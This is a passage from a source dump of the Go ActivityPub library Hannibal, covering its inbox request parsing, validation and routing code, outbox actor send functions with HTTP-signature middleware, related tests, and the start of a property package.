16 | // You can do wildcards too. Here's a handler to accept
17 | // Follow/Any messages
18 | activityHandler.Add(vocab.ActivityTypeFollow, vocab.Any, func(context CustomContextType, activity streams.Document) error {
19 | // do something with the follow request.
20 | // remember to send an "Accept" message back to the sender
21 | })
22 |
23 | // Here's a catch-all handler that receives any uncaught messages
24 | activityHandler.Add(vocab.Any, vocab.Any, func(context CustomContextType, activity streams.Document) error {
25 | // do something with this activity
26 | })
27 |
28 | // Add routes to your web server
29 | myAppRouter.POST("/my/inbox",func (r *http.Request, w *http.Response) {
30 |
31 | // Parse and validate the posted activity
32 | activity, err := pub.ReceiveRequest(r)
33 |
34 | // Handle errors however you like
35 | if err != nil {
36 | ...
37 | }
38 |
39 | context := // create custom "Context" value for this request
40 |
41 | // Pass the activity to the activityHandler, that will figure
42 | // out what kind of activity/object we have and pass it to the
43 | // previously registered handler function
44 | if err := activityHandler.Handle(context, actitity); err != nil {
45 | // do something with the error
46 | }
47 |
48 | // Success!
49 | }
50 |
51 | ```
--------------------------------------------------------------------------------
/inbox/option.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | type Option func(*ReceiveConfig)
4 |
5 | func WithValidators(validators ...Validator) Option {
6 | return func(config *ReceiveConfig) {
7 | config.Validators = validators
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/inbox/receive.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 | "net/http"
7 | "net/http/httputil"
8 |
9 | "github.com/benpate/derp"
10 | "github.com/utterproofre/hannibal/streams"
11 | "github.com/utterproofre/hannibal/validator"
12 | "github.com/utterproofre/hannibal/vocab"
13 | "github.com/benpate/re"
14 | "github.com/rs/zerolog/log"
15 | )
16 |
17 | // ReceiveRequest reads an incoming HTTP request and returns a parsed and validated ActivityPub activity
18 | func ReceiveRequest(request *http.Request, client streams.Client, options ...Option) (document streams.Document, err error) {
19 |
20 | const location = "hannibal.pub.ReceiveRequest"
21 |
22 | config := NewReceiveConfig(options...)
23 |
24 | // Try to read the body from the request
25 | body, err := re.ReadRequestBody(request)
26 |
27 | if err != nil {
28 | return streams.NilDocument(), derp.Wrap(err, location, "Error reading body from request")
29 | }
30 |
31 | // Try to retrieve the object from the buffer
32 | document = streams.NilDocument(streams.WithClient(client))
33 |
34 | if err := json.Unmarshal(body, &document); err != nil {
35 | log.Err(err).Msg("Hannibal Inbox: Error Unmarshalling JSON")
36 | return streams.NilDocument(), derp.Wrap(err, location, "Error unmarshalling JSON body into ActivityPub document")
37 | }
38 |
39 | // Validate the document using injected Validators
40 | isValid := validateRequest(request, &document, config.Validators)
41 |
42 | if canDebug() && document.Type() != vocab.ActivityTypeDelete {
43 | requestBytes, _ := httputil.DumpRequest(request, true)
44 |
45 | fmt.Println("")
46 | fmt.Println("Begin: Hannibal ReceiveRequest -----------")
47 | fmt.Println(string(requestBytes))
48 | fmt.Println("------------------------------------------")
49 | fmt.Println("")
50 | }
51 |
52 | // Log the request
53 | if !isValid {
54 | log.Trace().Err(err).Msg("Hannibal Inbox: Received document is not valid")
55 | return streams.NilDocument(), derp.UnauthorizedError(location, "Cannot validate received document", document.Value())
56 | }
57 |
58 | // Return the parsed document to the caller (vöïlä!)
59 | return document, nil
60 | }
61 |
62 | func validateRequest(request *http.Request, document *streams.Document, validators []Validator) bool {
63 |
64 | // Run each validator
65 | for _, v := range validators {
66 |
67 | switch v.Validate(request, document) {
68 |
69 | case validator.ResultInvalid:
70 | return false
71 |
72 | case validator.ResultValid:
73 | return true
74 |
75 | }
76 |
77 | // Fall through "ResultUnknown"
78 | // means continue the loop.
79 | }
80 |
81 | // If no validators can actually validate the document, then validation fails
82 | return false
83 | }
84 |
--------------------------------------------------------------------------------
/inbox/receiveConfig.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import "github.com/utterproofre/hannibal/validator"
4 |
5 | // ReceiveConfig is a configuration object for the `ReceiveRequest` function.
6 | type ReceiveConfig struct {
7 | Validators []Validator
8 | }
9 |
10 | // NewReceiveConfig creates a new ReceiveConfig object with default settings,
11 | // and applies any provided options to override the defaults.
12 | func NewReceiveConfig(options ...Option) ReceiveConfig {
13 |
14 | result := ReceiveConfig{
15 | Validators: []Validator{
16 |
17 | // TODO: check Object Integrity Proofs?
18 |
19 | // checks HTTP signatures
20 | validator.NewHTTPSig(),
21 |
22 | // checks if objects have been deleted
23 | validator.NewDeletedObject(),
24 |
25 | // HTTP Lookup to confirm that the object exists
26 | // validator.NewHTTPLookup(),
27 | },
28 | }
29 |
30 | for _, option := range options {
31 | option(&result)
32 | }
33 |
34 | return result
35 | }
36 |
--------------------------------------------------------------------------------
/inbox/receive_test.go:
--------------------------------------------------------------------------------
1 | //go:build localonly
2 |
3 | package inbox
4 |
5 | import (
6 | "bufio"
7 | "net/http"
8 | "strings"
9 | "testing"
10 |
11 | "github.com/utterproofre/hannibal/streams"
12 | "github.com/davecgh/go-spew/spew"
13 | "github.com/stretchr/testify/require"
14 | )
15 |
16 | func TestReceive(t *testing.T) {
17 |
18 | httpReader := strings.NewReader(`POST /@66beb0b36afe0012604c5467/pub/inbox HTTP/1.1
19 | Host: bandwagon.fm
20 | Accept-Encoding: gzip, br
21 | Cdn-Loop: cloudflare; loops=1
22 | Content-Length: 254
23 | Content-Type: application/activity+json
24 | Date: Sat, 28 Sep 2024 13:36:31 GMT
25 | Digest: SHA-256=XMfWai4fSQ5v1fjYoSzTOy4IRa6utDygHVXXYbM0/JM=
26 | Do-Connecting-Ip: 146.255.56.82
27 | Signature: keyId="https://climatejustice.social/users/benpate#main-key",algorithm="rsa-sha256",headers="(request-target) host date digest content-type",signature="R6oGuDCaNIMq0J/j3y5dW5NybHHqSYZAdw4b2pqqhnK/m/uLi2pQKaT1ao6IBwGJukN1CZKXxkUxYZwSozi5bVMg4Z27sCGir1enerYV5tEsz0Oafoa1gxQBlcgHx7lCZhuFNpeqi9CAIyToUayHn3NFhHmvIKFz61PtBAuW64VRWJ6dx/jsFJsytkmzfi+vQCKYGUGMxHIsL1TR0rwUTU5vwfy9PbCNuC1O/3crR8OICdClKoS+1as08Qsx8oEsCSBQb+M1bVsLycQ/6M+hYmu5Qu8wS2pzeOq3LvavwqpXqX6rPQ2kHgToNdtiErZgFsFUgwIL7vRPI5oP0CfpAQ=="
28 | User-Agent: http.rb/5.1.1 (Mastodon/4.2.12-stable+ff1; +https://climatejustice.social/)
29 | X-Forwarded-For: 146.255.56.82,108.162.221.54
30 | X-Forwarded-Proto: https
31 |
32 | {"@context":"https://www.w3.org/ns/activitystreams","id":"https://climatejustice.social/1b888e76-d22e-445e-8264-11d2c9bcc46f","type":"Follow","actor":"https://climatejustice.social/users/benpate","object":"https://bandwagon.fm/@66beb0b36afe0012604c5467"}
33 | `)
34 |
35 | client := streams.NewDefaultClient()
36 |
37 | req, err := http.ReadRequest(bufio.NewReader(httpReader))
38 | require.Nil(t, err)
39 |
40 | document, err := ReceiveRequest(req, client)
41 | require.Nil(t, err)
42 |
43 | spew.Dump(document.Value())
44 | }
45 |
--------------------------------------------------------------------------------
/inbox/router.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import (
4 | "encoding/json"
5 | "fmt"
6 |
7 | "github.com/benpate/derp"
8 | "github.com/utterproofre/hannibal/property"
9 | "github.com/utterproofre/hannibal/streams"
10 | "github.com/utterproofre/hannibal/vocab"
11 | "github.com/rs/zerolog/log"
12 | )
13 |
14 | // Router is a simple object that routes incoming ActivityPub activities to the appropriate handler
15 | type Router[T any] struct {
16 | routes map[string]RouteHandler[T]
17 | }
18 |
19 | // RouteHandler is a function that handles a specific type of ActivityPub activity.
20 | // RouteHandlers are registered with the Router object along with the names of the activity
21 | // types that they correspond to.
22 | type RouteHandler[T any] func(context T, activity streams.Document) error
23 |
24 | // NewRouter creates a new Router object
25 | func NewRouter[T any]() Router[T] {
26 | result := Router[T]{
27 | routes: make(map[string]RouteHandler[T]),
28 | }
29 |
30 | return result
31 | }
32 |
33 | // Add puts a new route to the router. You can use "*" as a wildcard for
34 | // either the activityType or objectType. The Handler method tries to match
35 | // handlers from most specific to least specific.
36 | // activity/object
37 | // activity/*
38 | // */object
39 | // */*
40 | //
41 | // For performance reasons, this function is not thread-safe.
42 | // So, you should add all routes before starting the server, for
43 | // instance, in your app's `init` functions.
44 | func (router *Router[T]) Add(activityType string, objectType string, routeHandler RouteHandler[T]) {
45 | router.routes[activityType+"/"+objectType] = routeHandler
46 | }
47 |
48 | // Handle takes an ActivityPub activity and routes it to the appropriate handler
49 | func (router *Router[T]) Handle(context T, activity streams.Document) error {
50 |
51 | const location = "hannibal.inbox.Router.Handle"
52 |
53 | activityType := activity.Type()
54 |
55 | // If this is a Document (not an Activity) then wrap it in
56 | // an implicit "Create" activity before routing.
57 | if vocab.ValidateActivityType(activityType) == vocab.Unknown {
58 |
59 | newValue := property.Map{
60 | vocab.AtContext: activity.AtContext(),
61 | vocab.PropertyID: activity.ID(),
62 | vocab.PropertyActor: activity.Actor(),
63 | vocab.PropertyType: vocab.ActivityTypeCreate,
64 | vocab.PropertyObject: activity.Value(),
65 | }
66 |
67 | activity.SetValue(newValue)
68 | activityType = vocab.ActivityTypeCreate
69 | }
70 |
71 | // Log all incoming activity... except delete messages because Mastodon is way too chatty
72 | if canDebug() && (activityType != vocab.ActivityTypeDelete) {
73 | log.Debug().Str("activity", activityType).Any("type", activity.Object().Type()).Msg("Hannibal Router: Received Message")
74 |
75 | if canTrace() {
76 | marshalled, _ := json.MarshalIndent(activity.Value(), "", " ")
77 | fmt.Println(string(marshalled))
78 | }
79 | }
80 |
81 | // Loop through all object Type values (though there's usually just one) to find a matching route
82 | for _, objectType := range activity.Object().Types() {
83 |
84 | if routeHandler, ok := router.routes[activityType+"/"+objectType]; ok {
85 | log.Trace().Str("type", activityType+"/"+objectType).Msg("Hannibal Router: route matched.")
86 | return routeHandler(context, activity)
87 | }
88 |
89 | if routeHandler, ok := router.routes[vocab.Any+"/"+objectType]; ok {
90 | log.Trace().Str("type", "*/"+objectType).Msg("Hannibal Router: route matched.")
91 | return routeHandler(context, activity)
92 | }
93 | }
94 |
95 | if routeHandler, ok := router.routes[activityType+"/"+vocab.Any]; ok {
96 | log.Trace().Str("type", activityType+"/*").Msg("Hannibal Router: route matched.")
97 | return routeHandler(context, activity)
98 | }
99 |
100 | if routeHandler, ok := router.routes[vocab.Any+"/"+vocab.Any]; ok {
101 | log.Trace().Str("type", "*/*").Msg("Hannibal Router: route matched.")
102 | return routeHandler(context, activity)
103 | }
104 |
105 | return derp.BadRequestError(location, "No route found for activity", activityType, activity.Object().Types(), activity.Value())
106 | }
107 |
--------------------------------------------------------------------------------
/inbox/utils.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import (
4 | "github.com/rs/zerolog"
5 | )
6 |
7 | // canInfo returns TRUE if zerolog is configured to allow Info logs
8 | // nolint:unused
9 | func canInfo() bool {
10 | return canLog(zerolog.InfoLevel)
11 | }
12 |
13 | // canDebug returns TRUE if zerolog is configured to allow Debug logs
14 | // nolint:unused
15 | func canDebug() bool {
16 | return canLog(zerolog.DebugLevel)
17 | }
18 |
19 | // canTrace returns TRUE if zerolog is configured to allow Trace logs
20 | // nolint:unused
21 | func canTrace() bool {
22 | return canLog(zerolog.TraceLevel)
23 | }
24 |
25 | // canLog is a silly zerolog helper that returns TRUE
26 | // if the provided log level would be allowed
27 | // (based on the global log level).
28 | // This makes it easier to execute expensive code conditionally,
29 | // for instance: marshalling a JSON object for logging.
30 | func canLog(level zerolog.Level) bool {
31 | return zerolog.GlobalLevel() <= level
32 | }
33 |
--------------------------------------------------------------------------------
/inbox/utils_test.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import (
4 | "testing"
5 |
6 | "github.com/rs/zerolog"
7 | "github.com/stretchr/testify/require"
8 | )
9 |
10 | func TestCanTrace(t *testing.T) {
11 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
12 | require.True(t, canTrace())
13 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
14 | require.False(t, canTrace())
15 | }
16 |
17 | func TestCanDebug(t *testing.T) {
18 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
19 | require.True(t, canDebug())
20 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
21 | require.True(t, canDebug())
22 | zerolog.SetGlobalLevel(zerolog.InfoLevel)
23 | require.False(t, canDebug())
24 | }
25 |
26 | func TestCanInfo(t *testing.T) {
27 | zerolog.SetGlobalLevel(zerolog.TraceLevel)
28 | require.True(t, canDebug())
29 | zerolog.SetGlobalLevel(zerolog.DebugLevel)
30 | require.True(t, canDebug())
31 | zerolog.SetGlobalLevel(zerolog.InfoLevel)
32 | require.True(t, canInfo())
33 | zerolog.SetGlobalLevel(zerolog.WarnLevel)
34 | require.False(t, canInfo())
35 | }
36 |
--------------------------------------------------------------------------------
/inbox/validator.go:
--------------------------------------------------------------------------------
1 | package inbox
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/utterproofre/hannibal/streams"
7 | "github.com/utterproofre/hannibal/validator"
8 | )
9 |
10 | // Validator interface wraps the Validate method, which identifies whether a document
11 | // received in an actor's inbox is valid or not. Multiple validators can be stacked
12 | // to validate a document, so if one validator returns `false`, the document is not
13 | // necessary invalid. It just can't be validated by this one validator.
14 | type Validator interface {
15 |
16 | // Validate checks incoming HTTP requests for validity. If a document is
17 | // valid, it returns `ResultValid`. If the Validator cannot validate this
18 | // document, it returns `ResultUnknown`. If the Validator can say with
19 | // certainty that the document is invalid, it returns `ResultInvalid`.
20 | Validate(*http.Request, *streams.Document) validator.Result
21 | }
22 |
--------------------------------------------------------------------------------
/meta/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/utterproofre/hannibal/b348e7526835dd20615149dbf4249f9977720d0f/meta/logo.jpg
--------------------------------------------------------------------------------
/meta/sigs.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/utterproofre/hannibal/b348e7526835dd20615149dbf4249f9977720d0f/meta/sigs.jpg
--------------------------------------------------------------------------------
/outbox/README.md:
--------------------------------------------------------------------------------
1 | # Hannibal / outbox
2 |
3 | Outbox mimics an ActivityPub outbox. Passing a document to the outbox will
4 | use an outbound retry-queue to deliver it to all recipients in `to`, `cc`,
5 | and `bto` fields.
6 |
7 | ```go
8 |
9 | // Get an Actor's outbox
10 | actor := outbox.New(myActor, outbox.WithClient(myClient), outbox.WithQueue(myQueue))
11 |
12 | // The document is the ActivityPub document you're sending
13 | document := map[string]any{
14 | "@context": vocab.ContextTypeDefault.
15 | "type": vocab.ActivityTypeCreate,
16 | "actor": actor.ActorID,
17 | "object": map[string]any{
18 | "type": "Note",
19 | "name": "A new note",
20 | },
21 | }
22 |
23 | // Send a document via the Actor's outbox
24 | if err := actor.Send(document); err != nil {
25 | derp.Report(err)
26 | }
27 |
28 | ```
29 |
--------------------------------------------------------------------------------
/outbox/actor-.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "crypto"
5 |
6 | "github.com/utterproofre/hannibal/streams"
7 | )
8 |
9 | // Actor represents an ActivityPub actor that can send ActivityPub messages
10 | // https://www.w3.org/TR/activitypub/#actors
11 | type Actor struct {
12 |
13 | // Required values passed to NewActor function
14 | actorID string
15 | privateKey crypto.PrivateKey
16 |
17 | // Optional values set via With() options
18 | publicKeyID string
19 | followers <-chan string
20 | client streams.Client
21 | // TODO: Restore Queue:: queue *queue.Queue
22 | }
23 |
24 | /******************************************
25 | * Lifecycle Methods
26 | ******************************************/
27 |
28 | // NewActor returns a fully initialized Actor object, and applies optional settings as provided
29 | func NewActor(actorID string, privateKey crypto.PrivateKey, options ...ActorOption) Actor {
30 |
31 | // Set Default Values
32 | result := Actor{
33 | actorID: actorID,
34 | publicKeyID: actorID + "#main-key",
35 | privateKey: privateKey,
36 | }
37 |
38 | // Apply additional options
39 | result.With(options...)
40 | return result
41 | }
42 |
43 | // With applies one or more options to an Actor
44 | func (actor *Actor) With(options ...ActorOption) {
45 | for _, option := range options {
46 | option(actor)
47 | }
48 | }
49 |
50 | func (actor *Actor) ActorID() string {
51 | return actor.actorID
52 | }
53 |
54 | /******************************************
55 | * Internal / Helper Methods
56 | ******************************************/
57 |
58 | // getClient returns the hannibal Client to use when retrieving
59 | // JSON-LD data. If the Actor does not include a custom client,
60 | // then a default HTTP-only client is used instead.
61 | func (actor *Actor) getClient() streams.Client {
62 |
63 | if actor.client != nil {
64 | return actor.client
65 | }
66 |
67 | return streams.NewDefaultClient()
68 | }
69 |
--------------------------------------------------------------------------------
/outbox/actor-send-accept.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | "github.com/utterproofre/hannibal/vocab"
6 | "github.com/benpate/rosetta/mapof"
7 | "github.com/rs/zerolog/log"
8 | )
9 |
10 | // SendAccept sends an "Accept" message to the recipient
11 | // actor: The Actor that is sending the request
12 | // activity: The activity that has been accepted (likely a "Follow" request)
13 | func (actor *Actor) SendAccept(acceptID string, activity streams.Document) {
14 |
15 | log.Debug().Msg("outbox.Actor.SendAccept: " + acceptID)
16 |
17 | message := mapof.Any{
18 | vocab.AtContext: vocab.ContextTypeActivityStreams,
19 | vocab.PropertyID: acceptID,
20 | vocab.PropertyType: vocab.ActivityTypeAccept,
21 | vocab.PropertyActor: actor.actorID,
22 | vocab.PropertyObject: activity.Map(streams.OptionStripContext),
23 | }
24 |
25 | actor.Send(message)
26 | }
27 |
--------------------------------------------------------------------------------
/outbox/actor-send-activity.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | "github.com/utterproofre/hannibal/streams"
8 | "github.com/utterproofre/hannibal/vocab"
9 | "github.com/benpate/rosetta/mapof"
10 | "github.com/rs/zerolog/log"
11 | )
12 |
13 | // SendActivity wraps a document in a standard ActivityStream envelope and sends it to the target.
14 | // actor: The Actor that is sending the request
15 | // activityType: The type of activity to send (e.g. "Create", "Update", "Accept", etc)
16 | // object: The object of the activity (e.g. the post that is being created, updated, etc)
17 | // recipient: The ActivityStream profile of the message recipient
18 | func (actor *Actor) SendActivity(activityType string, object streams.Document) {
19 |
20 | log.Debug().Msg("outbox.Actor.SendActivity: " + activityType + ", objectId: " + object.ID())
21 |
22 | message := mapof.Any{
23 | vocab.AtContext: vocab.ContextTypeActivityStreams,
24 | vocab.PropertyType: activityType,
25 | vocab.PropertyActor: actor.actorID,
26 | vocab.PropertyObject: object.Map(streams.OptionStripContext),
27 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()),
28 | }
29 |
30 | actor.Send(message)
31 | }
32 |
--------------------------------------------------------------------------------
/outbox/actor-send-announce.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | "github.com/utterproofre/hannibal/streams"
8 | "github.com/utterproofre/hannibal/vocab"
9 | "github.com/benpate/rosetta/mapof"
10 | "github.com/rs/zerolog/log"
11 | )
12 |
13 | // SendAccept sends an "Announce" message to the recipient
14 | // activity: The activity that is being announced
15 | func (actor *Actor) SendAnnounce(announceID string, activity streams.Document) {
16 |
17 | log.Debug().Msg("outbox.Actor.SendAnnounce: " + announceID)
18 |
19 | message := mapof.Any{
20 | vocab.AtContext: vocab.ContextTypeActivityStreams,
21 | vocab.PropertyType: vocab.ActivityTypeAnnounce,
22 | vocab.PropertyID: announceID,
23 | vocab.PropertyActor: actor.actorID,
24 | vocab.PropertyObject: activity.Map(streams.OptionStripContext),
25 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()),
26 | }
27 |
28 | actor.Send(message)
29 | }
30 |
--------------------------------------------------------------------------------
/outbox/actor-send-create.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | "github.com/utterproofre/hannibal/vocab"
8 | "github.com/benpate/rosetta/mapof"
9 | "github.com/rs/zerolog/log"
10 | )
11 |
12 | // SendCreate sends an "Create" message to the recipient
13 | // actor: The Actor that is sending the request
14 | // activity: The activity that has been created (such as a "Note" or "Article")
15 | // recipient: The profile of the message recipient
16 | func (actor *Actor) SendCreate(activity mapof.Any) {
17 |
18 | activityID := activity.GetString(vocab.PropertyID)
19 |
20 | log.Debug().Msg("outbox.Actor.SendCreate: " + activityID)
21 |
22 | message := mapof.Any{
23 | vocab.AtContext: vocab.ContextTypeActivityStreams,
24 | vocab.PropertyID: activityID,
25 | vocab.PropertyType: vocab.ActivityTypeCreate,
26 | vocab.PropertyActor: actor.actorID,
27 | vocab.PropertyObject: activity,
28 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()),
29 | }
30 |
31 | actor.Send(message)
32 | }
33 |
--------------------------------------------------------------------------------
/outbox/actor-send-delete.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | "github.com/utterproofre/hannibal/vocab"
6 | )
7 |
8 | // SendDelete sends an "Delete" message to the recipient
9 | // actor: The Actor that is sending the request
10 | // activity: The activity that has been deleted
11 | // recipient: The ActivityStream profile of the message recipient
12 | func (actor *Actor) SendDelete(activity streams.Document) {
13 | actor.SendActivity(vocab.ActivityTypeDelete, activity)
14 | }
15 |
--------------------------------------------------------------------------------
/outbox/actor-send-follow.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | "github.com/utterproofre/hannibal/vocab"
8 | "github.com/benpate/rosetta/mapof"
9 | "github.com/rs/zerolog/log"
10 | )
11 |
12 | // SendFollow sends a "Follow" request to the recipient
13 | // actor: The Actor that is sending the request
14 | // followID: The unique ID of this request
15 | // recipient: The ActivityStream profile of the Actor that is being followed
16 | func (actor *Actor) SendFollow(followID string, remoteActorID string) {
17 |
18 | log.Debug().Msg("outbox.Actor.SendFollow: " + followID)
19 |
20 | // Build the ActivityStream "Follow" request
21 | message := mapof.Any{
22 | vocab.AtContext: vocab.ContextTypeActivityStreams,
23 | vocab.PropertyID: followID,
24 | vocab.PropertyType: vocab.ActivityTypeFollow,
25 | vocab.PropertyActor: actor.actorID,
26 | vocab.PropertyObject: remoteActorID,
27 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()),
28 | }
29 |
30 | // Send the request
31 | actor.Send(message)
32 | }
33 |
--------------------------------------------------------------------------------
/outbox/actor-send-undo.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "time"
5 |
6 | "github.com/utterproofre/hannibal"
7 | "github.com/utterproofre/hannibal/streams"
8 | "github.com/utterproofre/hannibal/vocab"
9 | "github.com/benpate/rosetta/mapof"
10 | "github.com/rs/zerolog/log"
11 | )
12 |
13 | // SendUndo sends an "Undo" message to the recipient
14 | // actor: The Actor that is sending the request
15 | // activity: The activity that has been undone
16 | // recipient: The ActivityStream profile of the message recipient
17 | func (actor *Actor) SendUndo(activity streams.Document) {
18 | log.Debug().Msg("outbox.Actor.SendUndo: " + activity.ID())
19 |
20 | actor.Send(MakeUndo(actor.actorID, activity.Map()))
21 | }
22 |
23 | func MakeUndo(actorID string, activity mapof.Any) mapof.Any {
24 |
25 | context := activity[vocab.AtContext]
26 | delete(activity, vocab.AtContext)
27 |
28 | // Build the ActivityPub Message
29 | return mapof.Any{
30 | vocab.AtContext: context,
31 | vocab.PropertyType: vocab.ActivityTypeUndo,
32 | vocab.PropertyActor: actorID,
33 | vocab.PropertyObject: activity,
34 | vocab.PropertyPublished: hannibal.TimeFormat(time.Now()),
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/outbox/actor-send-update.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | "github.com/utterproofre/hannibal/vocab"
6 | )
7 |
8 | // SendUpdate sends an "Update" message to the recipient
9 | // actor: The Actor that is sending the request
10 | // activity: The activity that has been updated
11 | // recipient: The ActivityStream profile of the message recipient
12 | func (actor *Actor) SendUpdate(activity streams.Document) {
13 | actor.SendActivity(vocab.ActivityTypeUpdate, activity)
14 | }
15 |
--------------------------------------------------------------------------------
/outbox/actorOption.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "github.com/utterproofre/hannibal/streams"
5 | )
6 |
7 | // ActorOption is a function signature that modifies optional settings for an Actor
8 | type ActorOption func(*Actor)
9 |
10 | // WithPublicKey is an ActorOption that sets the public key for an Actor
11 | func WithPublicKey(publicKeyID string) ActorOption {
12 | return func(a *Actor) {
13 | a.publicKeyID = publicKeyID
14 | }
15 | }
16 |
17 | // WithCliient is an ActorOption that sets the hanibal Client for an Actor
18 | func WithClient(client streams.Client) ActorOption {
19 | return func(a *Actor) {
20 | a.client = client
21 | }
22 | }
23 |
24 | // TODO: Restore Queue::
25 | /*
26 | // WithQueue is an ActorOption that sets the outbound Queue for an Actor
27 | func WithQueue(queue *queue.Queue) ActorOption {
28 | return func(a *Actor) {
29 | a.queue = queue
30 | }
31 | }
32 | */
33 |
34 | // WithFollowers is an ActorOption that provides a channel of followers for an Actor
35 | func WithFollowers(followers <-chan string) ActorOption {
36 | return func(a *Actor) {
37 | a.followers = followers
38 | }
39 | }
40 |
--------------------------------------------------------------------------------
/outbox/remoteOption.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import (
4 | "net/http"
5 |
6 | "github.com/benpate/derp"
7 | "github.com/utterproofre/hannibal/sigs"
8 | "github.com/benpate/remote"
9 | )
10 |
11 | // SignRequest is a middleware for the remote package that adds an HTTP Signature to a request.
12 | func SignRequest(actor Actor) remote.Option {
13 |
14 | return remote.Option{
15 |
16 | ModifyRequest: func(txn *remote.Transaction, request *http.Request) *http.Response {
17 |
18 | // Add a "Digest" header to the request and sign the outgoing request.
19 | if err := sigs.Sign(request, actor.publicKeyID, actor.privateKey); err != nil {
20 | derp.Report(derp.Wrap(err, "activitypub.RequestSignature", "Error signing HTTP request. This is likely because of a problem with the actor's private key."))
21 | }
22 |
23 | // If exists, write the Digest back into the transaction (for serialization, et al)
24 | if digest := request.Header.Get("Digest"); digest != "" {
25 | txn.Header("Digest", digest)
26 | }
27 |
28 | // If exists, write the Signature back into the transaction (for serialization, et al)
29 | if signature := request.Header.Get("Signature"); signature != "" {
30 | txn.Header("Signature", signature)
31 | }
32 |
33 | // Oh, yeah...
34 | return nil
35 | },
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/outbox/uniquer.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | // Uniquer is a utility class that helps to identify unique values
4 | type Uniquer[T comparable] struct {
5 | seen map[T]struct{}
6 | }
7 |
8 | // NewUniquer returns a fully initialized Uniquer object
9 | func NewUniquer[T comparable]() *Uniquer[T] {
10 | return &Uniquer[T]{
11 | seen: make(map[T]struct{}),
12 | }
13 | }
14 |
15 | // IsUnique returns TRUE if the value has not been seen before.
16 | // Subsequent calls to IsUnique() with the same value will return FALSE.
17 | func (u *Uniquer[T]) IsUnique(id T) bool {
18 |
19 | _, ok := u.seen[id]
20 |
21 | if ok {
22 | return false
23 | }
24 |
25 | u.seen[id] = struct{}{}
26 | return true
27 | }
28 |
29 | // IsDuplicate returns TRUE if the value has been seen before.
30 | func (u *Uniquer[T]) IsDuplicate(id T) bool {
31 | return !u.IsUnique(id)
32 | }
33 |
--------------------------------------------------------------------------------
/outbox/utils.go:
--------------------------------------------------------------------------------
1 | package outbox
2 |
3 | import "github.com/rs/zerolog"
4 |
5 | // canInfo returns TRUE if zerolog is configured to allow Info logs
6 | // nolint:unused
7 | func canInfo() bool {
8 | return canLog(zerolog.InfoLevel)
9 | }
10 |
11 | // canDebug returns TRUE if zerolog is configured to allow Debug logs
12 | // nolint:unused
13 | func canDebug() bool {
14 | return canLog(zerolog.DebugLevel)
15 | }
16 |
17 | // canTrace returns TRUE if zerolog is configured to allow Trace logs
18 | // nolint:unused
19 | func canTrace() bool {
20 | return canLog(zerolog.TraceLevel)
21 | }
22 |
23 | // canLog is a silly zerolog helper that returns TRUE
24 | // if the provided log level would be allowed
25 | // (based on the global log level).
26 | // This makes it easier to execute expensive code conditionally,
27 | // for instance: marshalling a JSON object for logging.
28 | func canLog(level zerolog.Level) bool {
29 | return zerolog.GlobalLevel() <= level
30 | }
31 |
--------------------------------------------------------------------------------
/property/README.md:
--------------------------------------------------------------------------------
1 | ## Hannibal / unit
2 |
3 | This package wraps a number of common data values with conversions used in ActivityStreams. This is important because JSON-LD allows any piece of data to be represented in multiple formats. This wrapper allows safe access to indidividual values even when there are nil values slices, or maps of values present.
4 |
5 | ### Usage
6 | ```go
7 | value := property.NewValue("http://foo.com")
8 |
9 | foo.Raw() // returns "foo"
10 |
11 | // Traverse Arrays
12 | foo.Len() // returns 1
13 | foo.Head().Raw() // returns "http://foo.com"
14 | foo.Tail().Raw() // returns a nil value
15 |
16 | // Represent maps
17 | foo.Map() // returns a map with "id"="http://foo.com"
18 | foo.Set("name", "Foo") // converts foo to a map and sets a new property
19 | foo.Get("name").Raw() // returns "Foo"
20 | ```
21 |
22 | ## Interfaces
23 | Everything implements the `property.Value` interface, which provides several low-level manipulations for reading, writing, and transforming values. You can implement this interface in other packages to use other custom types with the rest of the hannibal library.
24 |
--------------------------------------------------------------------------------
/property/bool.go:
--------------------------------------------------------------------------------
1 | package property
2 |
3 | import "github.com/benpate/rosetta/convert"
4 |
5 | type Bool bool
6 |
7 | func (value Bool) IsBool() bool {
8 | return true
9 | }
10 |
11 | func (value Bool) Bool() bool {
12 | return bool(value)
13 | }
14 |
